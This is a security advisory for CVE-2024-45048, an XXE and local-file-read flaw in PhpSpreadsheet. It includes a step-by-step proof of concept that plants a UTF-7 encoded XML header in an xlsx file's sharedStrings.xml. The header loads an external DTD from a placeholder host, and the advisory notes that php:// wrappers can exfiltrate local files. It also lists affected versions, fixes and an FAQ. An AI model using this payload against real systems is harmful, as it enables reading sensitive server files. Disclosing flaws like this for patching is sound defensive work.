CVE-2024-45048: XML External Entity Reference (XXE) in PHPSpreadsheet
First published: Wed Aug 28 2024(Updated: )
### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` to ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: ``` use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx"); ``` 7) You will receive the request to your `http://%webhook%/file.dtd` 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files. ### Impact Read local files 
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| composer/phpoffice/phpspreadsheet | >=2.0.0<2.1.1 | 2.1.1 |
| composer/phpoffice/phpspreadsheet | >=2.2.0<2.2.1 | 2.2.1 |
| composer/phpoffice/phpspreadsheet | <1.29.1 | 1.29.1 |
| PhpSpreadsheet | <1.29.1 | |
| PhpSpreadsheet | >=2.0.0<2.2.1 |
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Reference Links
Frequently Asked Questions
What is the severity of CVE-2024-45048?
CVE-2024-45048 is categorized as a critical vulnerability due to its potential for XXE (XML External Entity) attacks and local file inclusion.
How do I fix CVE-2024-45048?
To remediate CVE-2024-45048, upgrade the phpoffice/phpspreadsheet package to version 2.2.1 or higher.
What types of attacks are associated with CVE-2024-45048?
CVE-2024-45048 is associated with XXE and LFI (Local File Inclusion) attacks that can expose sensitive files from the server.
Which software versions are affected by CVE-2024-45048?
CVE-2024-45048 affects PhpSpreadsheet versions before 2.2.1, specifically versions 2.0.0 to 2.1.1 and versions prior to 1.29.1.
What are the implications of CVE-2024-45048 for my application?
Exploitation of CVE-2024-45048 can allow an attacker to read sensitive local files, leading to severe data breaches.
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